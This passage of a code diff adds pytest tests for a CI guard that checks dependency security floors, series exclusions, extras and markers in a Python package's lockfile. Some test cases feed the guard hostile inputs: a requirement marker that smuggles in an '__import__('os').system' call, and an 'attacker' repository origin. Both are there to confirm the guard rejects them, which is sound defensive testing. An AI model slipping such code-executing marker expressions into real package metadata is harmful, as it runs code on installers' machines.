+ ("parent", "1"): {"feature": [{"name": name, "marker": "extra == 'feature' and sys_platform == 'win32'"}]}
+ }
+ base_optional_edges = edges
+ head_optional_edges = edges
+ marker = "; python_version >= '3.11' and sys_platform == 'linux'"
+ base_constraints = [name + ">=4" + marker]
+ head_constraints = [name + ">=5" + marker]
+ elif variant == "malformed-membership":
+ marker = "; sys_platform in 'linux, linux'"
+ base_constraints = [name + ">=4" + marker]
+ head_constraints = [name + ">=5" + marker]
+ elif variant == "fragment-limit":
+ membership = ", ".join("3." + str(minor) for minor in range(16))
+ platforms = "linux, darwin, win32, freebsd, openbsd"
+ broad = "python_version in '" + membership + "' and sys_platform in '" + platforms + "'"
+ base_markers = {(name, "4"): [broad]}
+ head_markers = {(name, "5"): [broad]}
+ marker = "; python_version >= '3.11'"
+ base_constraints = [name + ">=4" + marker]
+ head_constraints = [name + ">=5" + marker]
+
+ result = run_security_dependency_floor_check(
+ tmp_path,
+ base_requirements=base_requirements,
+ head_requirements=head_requirements,
+ base_packages=[("patch-me", "1"), *before],
+ head_packages=[("patch-me", "1.1"), *after],
+ base_constraints=base_constraints,
+ head_constraints=head_constraints,
+ base_dependency_groups=base_groups,
+ head_dependency_groups=head_groups,
+ base_resolution_markers=base_markers,
+ head_resolution_markers=head_markers,
+ base_lock_optional_dependencies=base_optional_edges,
+ head_lock_optional_dependencies=head_optional_edges,
+ )
+ assert result.returncode == (0 if accepted else 1), result.stdout + result.stderr
+
+
+@pytest.mark.parametrize(
+ ("variant", "accepted"),
+ [
+ pytest.param("wildcard", True, id="transitive-vulnerable-series-exclusion-preserves-independent-major"),
+ pytest.param("canonical-wildcard", True, id="canonical-series-exclusion-preserves-independent-major"),
+ pytest.param("no-global-floor", True, id="series-exclusion-does-not-require-destructive-global-floor"),
+ pytest.param("group-wildcard", True, id="reviewed-development-series-exclusion-protects-transitive-patch"),
+ pytest.param("post-wildcard", True, id="wildcard-excludes-old-stable-post-release-series"),
+ pytest.param("extra-exclusion", True, id="independent-reviewed-series-exclusions-remain-supported"),
+ pytest.param("exact-only", False, id="single-exact-exclusion-cannot-protect-whole-vulnerable-series"),
+ pytest.param("narrow-wildcard", False, id="narrow-wildcard-must-cover-actual-removed-release"),
+ pytest.param("narrow-zero-wildcard", False, id="zero-padded-wildcard-must-cover-whole-vulnerable-series"),
+ pytest.param("missing-exclusion", False, id="low-global-floor-without-series-exclusion-is-unsafe"),
+ pytest.param("wrong-epoch", False, id="series-exclusion-must-match-removed-release-epoch"),
+ pytest.param("drops-retained", False, id="series-boundary-must-preserve-independent-supported-major"),
+ pytest.param("drops-patched", False, id="series-boundary-must-admit-actual-patched-release"),
+ pytest.param("overbroad-wildcard", False, id="series-exclusion-cannot-cover-actual-patched-release"),
+ ],
+)
+def test_transitive_security_boundaries_accept_reviewed_vulnerable_series_exclusions(
+ tmp_path: Path, variant: str, accepted: bool
+) -> None:
+ old, patched = "2.5", "2.6"
+ requirement = "danger>=1,<3,!=2.5.*"
+ groups: dict[str, list[str]] | None = None
+
+ if variant == "canonical-wildcard":
+ requirement = "danger>=1,<3,!=02.05.*"
+ elif variant == "no-global-floor":
+ requirement = "danger<3,!=2.5.*"
+ elif variant == "group-wildcard":
+ groups = {"pydantic-v2": [requirement]}
+ elif variant == "post-wildcard":
+ old = "2.5.post1"
+ elif variant == "extra-exclusion":
+ requirement += ",!=2.4.*"
+ elif variant == "exact-only":
+ requirement = "danger>=1,<3,!=2.5"
+ elif variant == "narrow-wildcard":
+ requirement = "danger>=1,<3,!=2.5.1.*"
+ elif variant == "narrow-zero-wildcard":
+ requirement = "danger>=1,<3,!=2.5.0.*"
+ elif variant == "missing-exclusion":
+ requirement = "danger>=1,<3"
+ elif variant == "wrong-epoch":
+ requirement = "danger>=1,<3,!=1!2.5.*"
+ elif variant == "drops-retained":
+ requirement = "danger>=2,<3,!=2.5.*"
+ elif variant == "drops-patched":
+ requirement = "danger>=1,<2.6,!=2.5.*"
+ elif variant == "overbroad-wildcard":
+ requirement = "danger>=1,<3,!=2.*"
+
+ result = run_security_dependency_floor_check(
+ tmp_path,
+ base_requirements=["patch-me>=1"],
+ head_requirements=["patch-me>=1.1"],
+ base_packages=[("patch-me", "1"), ("danger", "1.5"), ("danger", old)],
+ head_packages=[("patch-me", "1.1"), ("danger", "1.5"), ("danger", patched)],
+ head_constraints=None if groups is not None else [requirement],
+ head_dependency_groups=groups,
+ )
+ assert result.returncode == (0 if accepted else 1), result.stdout + result.stderr
+
+
+@pytest.mark.parametrize(
+ ("variant", "accepted"),
+ [
+ pytest.param("runtime-extra", False, id="new-runtime-extra-cannot-introduce-unreviewed-wheel"),
+ pytest.param("optional-extra", False, id="new-optional-extra-cannot-introduce-unreviewed-wheel"),
+ pytest.param("two-new-packages", False, id="every-new-extra-dependency-identity-must-be-reviewed"),
+ pytest.param("unbounded-review", False, id="unbounded-new-extra-dependency-is-not-review-boundary"),
+ pytest.param("low-review", False, id="reviewed-new-extra-floor-must-reach-actual-release"),
+ pytest.param("wrong-marker", False, id="new-extra-package-review-must-cover-actual-marker-domain"),
+ pytest.param("reviewed-floor", True, id="reviewed-floor-can-approve-new-extra-package-identity"),
+ pytest.param("reviewed-pin", True, id="reviewed-exact-pin-can-approve-new-extra-package-identity"),
+ pytest.param("reviewed-group", True, id="reviewed-development-bound-can-approve-new-extra-package"),
+ pytest.param("reviewed-marker", True, id="reviewed-matching-marker-can-approve-new-extra-package"),
+ pytest.param("no-new-package", True, id="new-extra-without-new-package-identity-remains-supported"),
+ pytest.param("unchanged-extra", True, id="unchanged-existing-extra-does-not-block-unrelated-new-package"),
+ pytest.param("widened-extra", False, id="widened-existing-extra-cannot-introduce-unreviewed-package"),
+ pytest.param("reviewed-widened-extra", True, id="reviewed-boundary-can-approve-widened-existing-extra"),
+ pytest.param("no-extra-change", True, id="ordinary-unrelated-new-package-remains-supported"),
+ pytest.param("canonical-extra", True, id="canonical-existing-extra-name-is-not-a-new-context"),
+ ],
+)
+def test_new_requested_extras_cannot_introduce_unreviewed_dependency_identities(
+ tmp_path: Path, variant: str, accepted: bool
+) -> None:
+ base_requirements = ["patch-me>=1", "parent"]
+ head_requirements = ["patch-me>=1.1", "parent", "parent[new-extra]"]
+ base_optional: dict[str, list[str]] | None = None
+ head_optional: dict[str, list[str]] | None = None
+ constraints: list[str] | None = None
+ groups: dict[str, list[str]] | None = None
+ new_packages: list[tuple[str, str]] = [("unreviewed-plugin", "1")]
+ head_markers: dict[tuple[str, str], list[str]] | None = None
+
+ if variant == "optional-extra":
+ base_requirements, head_requirements = ["patch-me>=1"], ["patch-me>=1.1"]
+ base_optional = {"feature": ["parent"]}
+ head_optional = {"feature": ["parent", "parent[new-extra]"]}
+ elif variant == "two-new-packages":
+ new_packages.append(("second-unreviewed-plugin", "1"))
+ constraints = ["unreviewed-plugin>=1"]
+ elif variant == "unbounded-review":
+ constraints = ["unreviewed-plugin"]
+ elif variant == "low-review":
+ constraints = ["unreviewed-plugin>=0"]
+ elif variant in {"wrong-marker", "reviewed-marker"}:
+ head_requirements[-1] += "; python_version >= '3.11'"
+ head_markers = {("unreviewed-plugin", "1"): ["python_full_version >= '3.11'"]}
+ suffix = "< '3.11'" if variant == "wrong-marker" else ">= '3.11'"
+ constraints = ["unreviewed-plugin>=1; python_version " + suffix]
+ elif variant == "reviewed-floor":
+ constraints = ["unreviewed-plugin>=1"]
+ elif variant == "reviewed-pin":
+ constraints = ["unreviewed-plugin==1"]
+ elif variant == "reviewed-group":
+ groups = {"reviewed": ["unreviewed-plugin>=1"]}
+ elif variant == "no-new-package":
+ new_packages = []
+ elif variant == "unchanged-extra":
+ base_requirements[-1] = "parent[new-extra]"
+ head_requirements = ["patch-me>=1.1", "parent[new-extra]"]
+ elif variant in {"widened-extra", "reviewed-widened-extra"}:
+ base_requirements[-1] = "parent[new-extra]; python_version < '3.11'"
+ head_requirements = ["patch-me>=1.1", base_requirements[-1], "parent[new-extra]"]
+ if variant == "reviewed-widened-extra":
+ constraints = ["unreviewed-plugin>=1"]
+ elif variant == "no-extra-change":
+ head_requirements = ["patch-me>=1.1", "parent"]
+ elif variant == "canonical-extra":
+ base_requirements[-1] = "parent[New_Extra]"
+ head_requirements = ["patch-me>=1.1", "parent[new-extra]"]
+
+ optional_edges: dict[tuple[str, str], dict[str, list[dict[str, object]]]] = {
+ ("parent", "1"): {"new-extra": [{"name": name} for name, _ in new_packages]}
+ }
+ result = run_security_dependency_floor_check(
+ tmp_path,
+ base_requirements=base_requirements,
+ head_requirements=head_requirements,
+ base_packages=[("patch-me", "1"), ("parent", "1")],
+ head_packages=[("patch-me", "1.1"), ("parent", "1"), *new_packages],
+ base_optional_groups=base_optional,
+ head_optional_groups=head_optional,
+ head_constraints=constraints,
+ head_dependency_groups=groups,
+ head_resolution_markers=head_markers,
+ head_lock_optional_dependencies=optional_edges,
+ )
+ assert result.returncode == (0 if accepted else 1), result.stdout + result.stderr
+
+
+@pytest.mark.parametrize(
+ ("variant", "accepted"),
+ [
+ pytest.param("existing-dev", False, id="new-extra-cannot-publish-previously-dev-locked-package"),
+ pytest.param("reviewed-existing-dev", True, id="reviewed-floor-allows-previously-dev-locked-package"),
+ pytest.param("already-runtime", True, id="already-published-runtime-package-needs-no-extra-review"),
+ pytest.param("transitive-existing", False, id="new-extra-cannot-publish-transitive-dev-locked-package"),
+ pytest.param("reviewed-transitive", True, id="reviewed-contextual-floors-allow-transitive-existing-packages"),
+ pytest.param("selected-nested-extra", False, id="nested-selected-extra-cannot-publish-dev-locked-package"),
+ pytest.param("wrong-marker", False, id="reviewed-existing-package-bound-must-cover-extra-domain"),
+ pytest.param("matching-marker", True, id="reviewed-existing-package-marker-can-cover-extra-domain"),
+ pytest.param("unchanged-extra", True, id="unchanged-requested-extra-keeps-prior-published-reachability"),
+ pytest.param("cyclic-extra", False, id="cyclic-extra-cannot-hide-an-unreviewed-dependency"),
+ pytest.param("reviewed-cyclic-extra", True, id="reviewed-cyclic-extra-dependency-graph-is-supported"),
+ pytest.param("composed-extra", False, id="composed-extra-cannot-hide-an-unreviewed-dependency"),
+ pytest.param("reviewed-composed-extra", True, id="reviewed-self-referential-composed-extra-is-supported"),
+ pytest.param("mutual-cycle", False, id="mutual-package-cycle-cannot-hide-an-unreviewed-dependency"),
+ pytest.param("reviewed-mutual-cycle", True, id="reviewed-mutual-package-dependency-cycle-is-supported"),
+ pytest.param("ambiguous-edge", False, id="ambiguous-extra-dependency-edge-fails-closed"),
+ ],
+)
+def test_new_extras_cannot_publish_previously_locked_transitive_packages(
+ tmp_path: Path, variant: str, accepted: bool
+) -> None:
+ base_requirements = ["patch-me>=1", "parent"]
+ head_requirements = ["patch-me>=1.1", "parent", "parent[new-extra]"]
+ packages = [("parent", "1"), ("existing-plugin", "1")]
+ base_groups = {"dev": ["existing-plugin"]}
+ head_groups = {"dev": ["existing-plugin"]}
+ base_edges: dict[tuple[str, str], list[dict[str, object]]] = {}
+ head_edges: dict[tuple[str, str], list[dict[str, object]]] = {}
+ parent_optional: dict[str, list[dict[str, object]]] = {"new-extra": [{"name": "existing-plugin"}]}
+ base_optional = {("parent", "1"): dict(parent_optional)}
+ head_optional = {("parent", "1"): dict(parent_optional)}
+ constraints: list[str] | None = None
+ markers: dict[tuple[str, str], list[str]] | None = None
+
+ if variant == "reviewed-existing-dev":
+ constraints = ["existing-plugin>=1"]
+ elif variant == "already-runtime":
+ base_requirements.append("existing-plugin>=1")
+ head_requirements.append("existing-plugin>=1")
+ elif variant in {
+ "transitive-existing",
+ "reviewed-transitive",
+ "selected-nested-extra",
+ "cyclic-extra",
+ "reviewed-cyclic-extra",
+ "mutual-cycle",
+ "reviewed-mutual-cycle",
+ }:
+ packages.append(("bridge", "1"))
+ parent_optional["new-extra"] = [{"name": "bridge"}]
+ if variant == "selected-nested-extra":
+ parent_optional["new-extra"] = [{"name": "bridge", "extra": ["nested"]}]
+ head_optional[("bridge", "1")] = {"nested": [{"name": "existing-plugin"}]}
+ base_optional[("bridge", "1")] = {"nested": [{"name": "existing-plugin"}]}
+ elif variant in {"cyclic-extra", "reviewed-cyclic-extra"}:
+ head_edges[("bridge", "1")] = [{"name": "parent", "extra": ["new-extra"]}]
+ base_edges[("bridge", "1")] = list(head_edges[("bridge", "1")])
+ elif variant in {"mutual-cycle", "reviewed-mutual-cycle"}:
+ head_edges[("bridge", "1")] = [{"name": "existing-plugin"}]
+ head_edges[("existing-plugin", "1")] = [{"name": "bridge"}]
+ base_edges.update({identity: list(edges) for identity, edges in head_edges.items()})
+ else:
+ head_edges[("bridge", "1")] = [{"name": "existing-plugin"}]
+ base_edges[("bridge", "1")] = [{"name": "existing-plugin"}]
+ base_optional[("parent", "1")]["new-extra"] = list(parent_optional["new-extra"])
+ head_optional[("parent", "1")]["new-extra"] = list(parent_optional["new-extra"])
+ if variant in {"reviewed-transitive", "reviewed-mutual-cycle"}:
+ constraints = ["bridge>=1", "existing-plugin>=1"]
+ elif variant in {"transitive-existing", "selected-nested-extra", "reviewed-cyclic-extra", "mutual-cycle"}:
+ constraints = ["bridge>=1"]
+ elif variant in {"composed-extra", "reviewed-composed-extra"}:
+ parent_optional["new-extra"] = [{"name": "parent", "extra": ["nested"]}]
+ parent_optional["nested"] = [{"name": "existing-plugin"}]
+ base_optional[("parent", "1")] = dict(parent_optional)
+ head_optional[("parent", "1")] = dict(parent_optional)
+ if variant == "reviewed-composed-extra":
+ constraints = ["existing-plugin>=1"]
+ elif variant in {"wrong-marker", "matching-marker"}:
+ head_requirements[-1] += "; python_version >= '3.11'"
+ markers = {("existing-plugin", "1"): ["python_full_version >= '3.11'"]}
+ suffix = "< '3.11'" if variant == "wrong-marker" else ">= '3.11'"
+ constraints = ["existing-plugin>=1; python_version " + suffix]
+ elif variant == "unchanged-extra":
+ base_requirements[-1] = "parent[new-extra]"
+ head_requirements = ["patch-me>=1.1", "parent[new-extra]"]
+ elif variant == "ambiguous-edge":
+ parent_optional["new-extra"] = [{"name": "existing-plugin", "extra": "not-a-list"}]
+
+ result = run_security_dependency_floor_check(
+ tmp_path,
+ base_requirements=base_requirements,
+ head_requirements=head_requirements,
+ base_packages=[("patch-me", "1"), *packages],
+ head_packages=[("patch-me", "1.1"), *packages],
+ base_dependency_groups=base_groups,
+ head_dependency_groups=head_groups,
+ head_constraints=constraints,
+ base_resolution_markers=markers,
+ head_resolution_markers=markers,
+ base_lock_dependencies=base_edges,
+ head_lock_dependencies=head_edges,
+ base_lock_optional_dependencies=base_optional,
+ head_lock_optional_dependencies=head_optional,
+ )
+ assert result.returncode == (0 if accepted else 1), result.stdout + result.stderr
+
+
+@pytest.mark.parametrize(
+ ("variant", "accepted"),
+ [
+ pytest.param("optional-to-runtime", False, id="optional-direct-floor-cannot-review-new-runtime-audience"),
+ pytest.param("runtime-reviewed", True, id="reviewed-runtime-floor-covers-new-runtime-audience"),
+ pytest.param("protected-reviewed", True, id="protected-floor-can-review-new-runtime-audience"),
+ pytest.param("protected-too-low", False, id="protected-review-must-reach-the-actual-locked-release"),
+ pytest.param("different-optional", False, id="one-optional-group-cannot-review-another-group-audience"),
+ pytest.param("same-optional", True, id="same-optional-group-retains-its-reviewed-direct-audience"),
+ ],
+)
+def test_new_extra_direct_dependency_boundaries_cover_their_actual_audience(
+ tmp_path: Path, variant: str, accepted: bool
+) -> None:
+ base_requirements = ["patch-me>=1", "parent"]
+ head_requirements = ["patch-me>=1.1", "parent", "parent[feature]"]
+ base_optional = {"private": ["plugin>=1"]}
+ head_optional = {"private": ["plugin>=1"]}
+ constraints: list[str] | None = None
+
+ if variant == "runtime-reviewed":
+ base_requirements.append("plugin>=2")
+ head_requirements.append("plugin>=2")
+ elif variant == "protected-reviewed":
+ constraints = ["plugin>=2"]
+ elif variant == "protected-too-low":
+ constraints = ["plugin>=1"]
+ elif variant == "different-optional":
+ base_requirements, head_requirements = ["patch-me>=1"], ["patch-me>=1.1"]
+ base_optional = {"private": ["plugin>=1"], "public": ["parent"]}
+ head_optional = {"private": ["plugin>=1"], "public": ["parent", "parent[feature]"]}
+ elif variant == "same-optional":
+ base_requirements, head_requirements = ["patch-me>=1"], ["patch-me>=1.1"]
+ base_optional = {"public": ["parent", "plugin>=2"]}
+ head_optional = {"public": ["parent", "parent[feature]", "plugin>=2"]}
+
+ edges: dict[tuple[str, str], dict[str, list[dict[str, object]]]] = {
+ ("parent", "1"): {"feature": [{"name": "plugin"}]}
+ }
+ result = run_security_dependency_floor_check(
+ tmp_path,
+ base_requirements=base_requirements,
+ head_requirements=head_requirements,
+ base_packages=[("patch-me", "1"), ("parent", "1"), ("plugin", "2")],
+ head_packages=[("patch-me", "1.1"), ("parent", "1"), ("plugin", "2")],
+ base_optional_groups=base_optional,
+ head_optional_groups=head_optional,
+ head_constraints=constraints,
+ base_lock_optional_dependencies=edges,
+ head_lock_optional_dependencies=edges,
+ )
+ assert result.returncode == (0 if accepted else 1), result.stdout + result.stderr
+
+
+def test_cyclic_extra_dependency_graph_retains_bounded_pending_states(tmp_path: Path) -> None:
+ edges: list[dict[str, object]] = [{"name": "parent", "extra": ["new-extra"]} for _ in range(4097)]
+ optional: dict[tuple[str, str], dict[str, list[dict[str, object]]]] = {("parent", "1"): {"new-extra": edges}}
+ result = run_security_dependency_floor_check(
+ tmp_path,
+ base_requirements=["patch-me>=1", "parent"],
+ head_requirements=["patch-me>=1.1", "parent", "parent[new-extra]"],
+ base_packages=[("patch-me", "1"), ("parent", "1")],
+ head_packages=[("patch-me", "1.1"), ("parent", "1")],
+ base_lock_optional_dependencies=optional,
+ head_lock_optional_dependencies=optional,
+ )
+ assert result.returncode != 0
+ assert "Unbounded published security dependency graph" in result.stderr
+
+
+@pytest.mark.parametrize(
+ ("variant", "accepted"),
+ [
+ pytest.param("published-wildcard", True, id="published-marker-split-preserves-existing-vulnerable-series"),
+ pytest.param("protected-wildcard", True, id="protected-marker-split-preserves-existing-vulnerable-series"),
+ pytest.param("canonical-wildcard", True, id="split-accepts-canonical-equivalent-wildcard-prefix"),
+ pytest.param("reordered-wildcard", True, id="split-accepts-reordered-identical-wildcard-exclusions"),
+ pytest.param("published-removed", False, id="published-split-cannot-drop-vulnerable-series-exclusion"),
+ pytest.param("protected-removed", False, id="protected-split-cannot-drop-vulnerable-series-exclusion"),
+ pytest.param("narrowed-wildcard", False, id="split-cannot-narrow-existing-vulnerable-series-exclusion"),
+ pytest.param("wrong-epoch", False, id="split-cannot-move-wildcard-exclusion-to-another-epoch"),
+ pytest.param("upper-removed", False, id="wildcard-marker-split-still-preserves-existing-upper-bound"),
+ pytest.param("post-wildcard", False, id="split-rejects-ambiguous-post-release-wildcard"),
+ ],
+)
+def test_marker_context_splits_preserve_canonical_wildcard_security_exclusions(
+ tmp_path: Path, variant: str, accepted: bool
+) -> None:
+ old = "danger>=1,<3,!=2.0.*"
+ low = "danger>=1.6,<3,!=2.0.*; python_version < '3.11'"
+ high = "danger>=2.6,<3,!=2.0.*; python_version >= '3.11'"
+ protected = variant.startswith("protected-")
+
+ if variant == "canonical-wildcard":
+ low = "danger>=1.6,<3,!=02.00.*; python_version < '3.11'"
+ elif variant == "reordered-wildcard":
+ low = "danger!=2.0.*,<3,>=1.6; python_version < '3.11'"
+ elif variant in {"published-removed", "protected-removed"}:
+ low = "danger>=1.6,<3; python_version < '3.11'"
+ elif variant == "narrowed-wildcard":
+ low = "danger>=1.6,<3,!=2.0.1.*; python_version < '3.11'"
+ elif variant == "wrong-epoch":
+ low = "danger>=1.6,<3,!=1!2.0.*; python_version < '3.11'"
+ elif variant == "upper-removed":
+ low = "danger>=1.6,!=2.0.*; python_version < '3.11'"
+ elif variant == "post-wildcard":
+ low = "danger>=1.6,<3,!=2.0.post1.*; python_version < '3.11'"
+
+ base_optional = None if protected else {"feature": [old]}
+ head_optional = None if protected else {"feature": [low, high]}
+ result = run_security_dependency_floor_check(
+ tmp_path,
+ base_requirements=[],
+ head_requirements=[],
+ base_packages=[("danger", "1.5"), ("danger", "2.5")],
+ head_packages=[("danger", "1.6"), ("danger", "2.6")],
+ base_optional_groups=base_optional,
+ head_optional_groups=head_optional,
+ base_constraints=[old] if protected else None,
+ head_constraints=[low, high] if protected else None,
+ base_resolution_markers={
+ ("danger", "1.5"): ["python_full_version < '3.11'"],
+ ("danger", "2.5"): ["python_full_version >= '3.11'"],
+ },
+ head_resolution_markers={
+ ("danger", "1.6"): ["python_full_version < '3.11'"],
+ ("danger", "2.6"): ["python_full_version >= '3.11'"],
+ },
+ )
+ assert result.returncode == (0 if accepted else 1), result.stdout + result.stderr
+
+
+@pytest.mark.parametrize(
+ ("variant", "accepted"),
+ [
+ pytest.param("published-lower-dropped", False, id="published-compatible-release-cannot-drop-lower-floor"),
+ pytest.param("published-upper-dropped", False, id="published-compatible-release-cannot-drop-series-ceiling"),
+ pytest.param("protected-upper-dropped", False, id="protected-compatible-release-cannot-drop-series-ceiling"),
+ pytest.param("equivalent-expanded", True, id="compatible-release-can-expand-to-equivalent-explicit-bounds"),
+ pytest.param("tighter-series", True, id="compatible-release-can-tighten-without-dropping-locked-release"),
+ pytest.param("zero-precision", False, id="compatible-release-trailing-zero-preserves-precision-ceiling"),
+ pytest.param("epoch-ceiling", False, id="compatible-release-preserves-epoch-aware-series-ceiling"),
+ pytest.param("post-floor", False, id="compatible-release-preserves-post-release-lower-floor"),
+ pytest.param("single-component", False, id="single-component-compatible-release-fails-closed"),
+ pytest.param("wildcard", False, id="wildcard-compatible-release-fails-closed"),
+ ],
+)
+def test_compatible_release_requirements_preserve_reviewed_security_bounds(
+ tmp_path: Path, variant: str, accepted: bool
+) -> None:
+ original = "safe~=1.4"
+ replacement = "safe>=1.4,<2"
+ locked = "1.5"
+ protected = variant.startswith("protected-")
+
+ if variant == "published-lower-dropped":
+ replacement = "safe>=1,<2"
+ elif variant in {"published-upper-dropped", "protected-upper-dropped"}:
+ replacement = "safe>=1.4"
+ elif variant == "tighter-series":
+ replacement = "safe~=1.5"
+ elif variant == "zero-precision":
+ original = "safe~=1.4.0"
+ replacement = "safe>=1.4,<2"
+ locked = "1.4.5"
+ elif variant == "epoch-ceiling":
+ original = "safe~=1!1.4"
+ replacement = "safe>=1!1.4"
+ locked = "1!1.5"
+ elif variant == "post-floor":
+ original = "safe~=1.4.post1"
+ replacement = "safe>=1.4,<2"
+ elif variant == "single-component":
+ original = "safe~=1"
+ elif variant == "wildcard":
+ original = "safe~=1.4.*"
+
+ result = run_security_dependency_floor_check(
+ tmp_path,
+ base_requirements=["patch-me>=1"] + ([] if protected else [original]),
+ head_requirements=["patch-me>=1.1"] + ([] if protected else [replacement]),
+ base_packages=[("patch-me", "1"), ("safe", locked)],
+ head_packages=[("patch-me", "1.1"), ("safe", locked)],
+ base_constraints=[original] if protected else None,
+ head_constraints=[replacement] if protected else None,
+ )
+ assert result.returncode == (0 if accepted else 1), result.stdout + result.stderr
+
+
+@pytest.mark.parametrize(
+ ("previous", "updated"),
+ [
+ pytest.param("danger >= 1.0 ", "danger >= 2.0 ", id="whitespace-padded-security-floor"),
+ pytest.param(
+ "danger >= 1.0 , >= 1.5 ",
+ "danger >= 1.0 , >= 2.0 ",
+ id="whitespace-padded-redundant-security-floors",
+ ),
+ ],
+)
+def test_security_floor_parser_strips_requirement_whitespace(tmp_path: Path, previous: str, updated: str) -> None:
+ result = run_security_dependency_floor_check(
+ tmp_path,
+ base_requirements=[previous],
+ head_requirements=[updated],
+ base_packages=[("danger", "1.5")],
+ head_packages=[("danger", "2.0")],
+ )
+ assert result.returncode == 0, result.stdout + result.stderr
+
+
+@pytest.mark.parametrize(
+ ("sha", "origin"),
+ [
+ pytest.param("invalid", "https://github.com/openai/openai-python", id="untrusted-base"),
+ pytest.param("a" * 40, "https://github.com/attacker/openai-python", id="untrusted-origin"),
+ ],
+)
+def test_security_floor_guard_rejects_untrusted_base(tmp_path: Path, sha: str, origin: str) -> None:
+ result = run_security_dependency_floor_check(
+ tmp_path,
+ base_requirements=["danger-pkg>=1.0"],
+ head_requirements=["danger-pkg>=1.1"],
+ base_packages=[("danger-pkg", "1.0")],
+ head_packages=[("danger-pkg", "1.1")],
+ sha=sha,
+ origin=origin,
+ )
+ assert result.returncode != 0
+
+
+def test_routine_dependency_updates_preserve_lock_only_strategy() -> None:
+ config = (ROOT / ".github/dependabot.yml").read_text()
+ assert "versioning-strategy: increase-if-necessary" in config
+ assert re.search(r"python-security:\n\s+applies-to: security-updates", config)
+ security_dependency_floor_program()
+
+
def test_agents_integration_selects_its_typechecking_runtime() -> None:
path = ROOT / ".github/workflows/detect-breaking-changes.yml"
if not path.exists():
@@ -189,3 +5166,3563 @@ def test_build_uses_hashed_locked_build_group(tmp_path: Path, monkeypatch: pytes
"--out-dir",
str(tmp_path / "dist"),
]
+
+
+def test_reviewed_root_build_still_runs_with_source_distribution_builds_disabled(
+ tmp_path: Path, monkeypatch: pytest.MonkeyPatch
+) -> None:
+ log = fake_uv(tmp_path, monkeypatch)
+ monkeypatch.setenv("UV_NO_BUILD", "1")
+ result = subprocess.run([str(ROOT / "scripts/build"), "--out-dir", str(tmp_path / "dist")], check=False)
+ calls = [json.loads(line)["args"] for line in log.read_text().splitlines()]
+ assert result.returncode == 0
+ assert calls[0][0] == "export"
+ assert calls[1][0] == "build"
+ assert "--no-sources" in calls[1]
+
+
+@pytest.mark.parametrize(
+ ("variant", "accepted"),
+ [
+ pytest.param("runtime", True, id="published-runtime-or-marker-receives-security-patch"),
+ pytest.param("optional", True, id="published-optional-or-marker-receives-security-patch"),
+ pytest.param("constraint", True, id="reviewed-uv-constraint-or-marker-receives-security-patch"),
+ pytest.param("build", True, id="reviewed-build-constraint-or-marker-receives-security-patch"),
+ pytest.param("group", True, id="reviewed-development-group-or-marker-receives-security-patch"),
+ pytest.param("grouped", True, id="grouped-marker-disjunction-preserves-safe-precedence"),
+ pytest.param("precedence", True, id="ungrouped-marker-disjunction-preserves-and-precedence"),
+ pytest.param("reordered", True, id="reordered-marker-disjunction-preserves-original-source-scope"),
+ pytest.param("duplicate", True, id="duplicate-marker-disjunction-arm-is-idempotent"),
+ pytest.param("subsumed", True, id="subsumed-marker-disjunction-arm-preserves-source-scope"),
+ pytest.param("membership", True, id="membership-marker-disjunction-remains-bounded"),
+ pytest.param("widen-single", False, id="single-marker-source-cannot-gain-unreviewed-or-arm"),
+ pytest.param("widen-existing", False, id="existing-disjunction-cannot-gain-unreviewed-or-arm"),
+ pytest.param("dropped-arm", False, id="existing-disjunction-cannot-drop-supported-source-arm"),
+ pytest.param("lowered-arm", False, id="split-disjunction-arm-cannot-lower-original-security-floor"),
+ pytest.param("unsafe-call", False, id="disjunction-cannot-hide-executable-marker-expression"),
+ pytest.param("unsafe-constant", False, id="disjunction-cannot-hide-constant-marker-expression"),
+ pytest.param("unsafe-unary", False, id="disjunction-cannot-hide-unary-marker-expression"),
+ pytest.param("unsafe-chained", False, id="disjunction-cannot-hide-chained-marker-comparison"),
+ pytest.param("malformed-membership", False, id="disjunction-cannot-hide-ambiguous-membership"),
+ pytest.param("unbounded", False, id="unbounded-marker-disjunction-fails-closed"),
+ ],
+)
+def test_security_updates_preserve_bounded_disjunctive_requirement_markers(
+ tmp_path: Path, variant: str, accepted: bool
+) -> None:
+ low = "python_version < '3.11'"
+ windows = "sys_platform == 'win32'"
+ marker = low + " or " + windows
+ head_marker = marker
+ base_floor, head_floor = "1", "2"
+ before, after = "1", "2"
+ head_entries: list[str] | None = None
+ scope = variant if variant in {"optional", "constraint", "build", "group"} else "runtime"
+
+ if variant == "grouped":
+ marker = "(" + low + " or " + windows + ") and python_version >= '3.10'"
+ head_marker = marker
+ elif variant == "precedence":
+ marker = low + " or " + windows + " and python_version >= '3.10'"
+ head_marker = marker
+ elif variant == "reordered":
+ head_marker = windows + " or " + low
+ elif variant == "duplicate":
+ marker = low + " or " + low
+ head_marker = marker
+ elif variant == "subsumed":
+ marker = low + " or (" + low + " and " + windows + ")"
+ head_marker = marker
+ elif variant == "membership":
+ marker = "python_version in '3.10, 3.11' or " + windows
+ head_marker = marker
+ elif variant in {"widen-single", "widen-existing", "dropped-arm", "lowered-arm"}:
+ base_floor = head_floor = before = after = "2"
+ if variant == "widen-single":
+ marker, head_marker = low, marker
+ elif variant == "widen-existing":
+ head_marker = marker + " or sys_platform == 'darwin'"
+ elif variant == "dropped-arm":
+ head_marker = low
+ else:
+ head_entries = ["danger>=1; " + low, "danger>=2; " + windows]
+ elif variant == "unsafe-call":
+ head_marker = low + " or __import__('os').system('true')"
+ elif variant == "unsafe-constant":
+ head_marker = low + " or True"
+ elif variant == "unsafe-unary":
+ head_marker = low + " or not " + windows
+ elif variant == "unsafe-chained":
+ head_marker = low + " or python_version < '3.11' < '3.12'"
+ elif variant == "malformed-membership":
+ head_marker = low + " or python_version in '3.10,,3.11'"
+ elif variant == "unbounded":
+ head_marker = " or ".join("sys_platform == 'platform" + str(index) + "'" for index in range(129))
+
+ previous = "danger>=" + base_floor + "; " + marker
+ current = "danger>=" + head_floor + "; " + head_marker
+ head_entries = [current] if head_entries is None else head_entries
+ base_requirements = [previous] if scope == "runtime" else []
+ head_requirements = head_entries if scope == "runtime" else []
+ base_optional = {"feature": [previous]} if scope == "optional" else None
+ head_optional = {"feature": head_entries} if scope == "optional" else None
+ base_constraints = [previous] if scope == "constraint" else None
+ head_constraints = head_entries if scope == "constraint" else None
+ base_build = [previous] if scope == "build" else None
+ head_build = head_entries if scope == "build" else None
+ base_groups = {"reviewed": [previous]} if scope == "group" else None
+ head_groups = {"reviewed": head_entries} if scope == "group" else None
+ resolution = "python_full_version == '3.10.*'"
+ result = run_security_dependency_floor_check(
+ tmp_path,
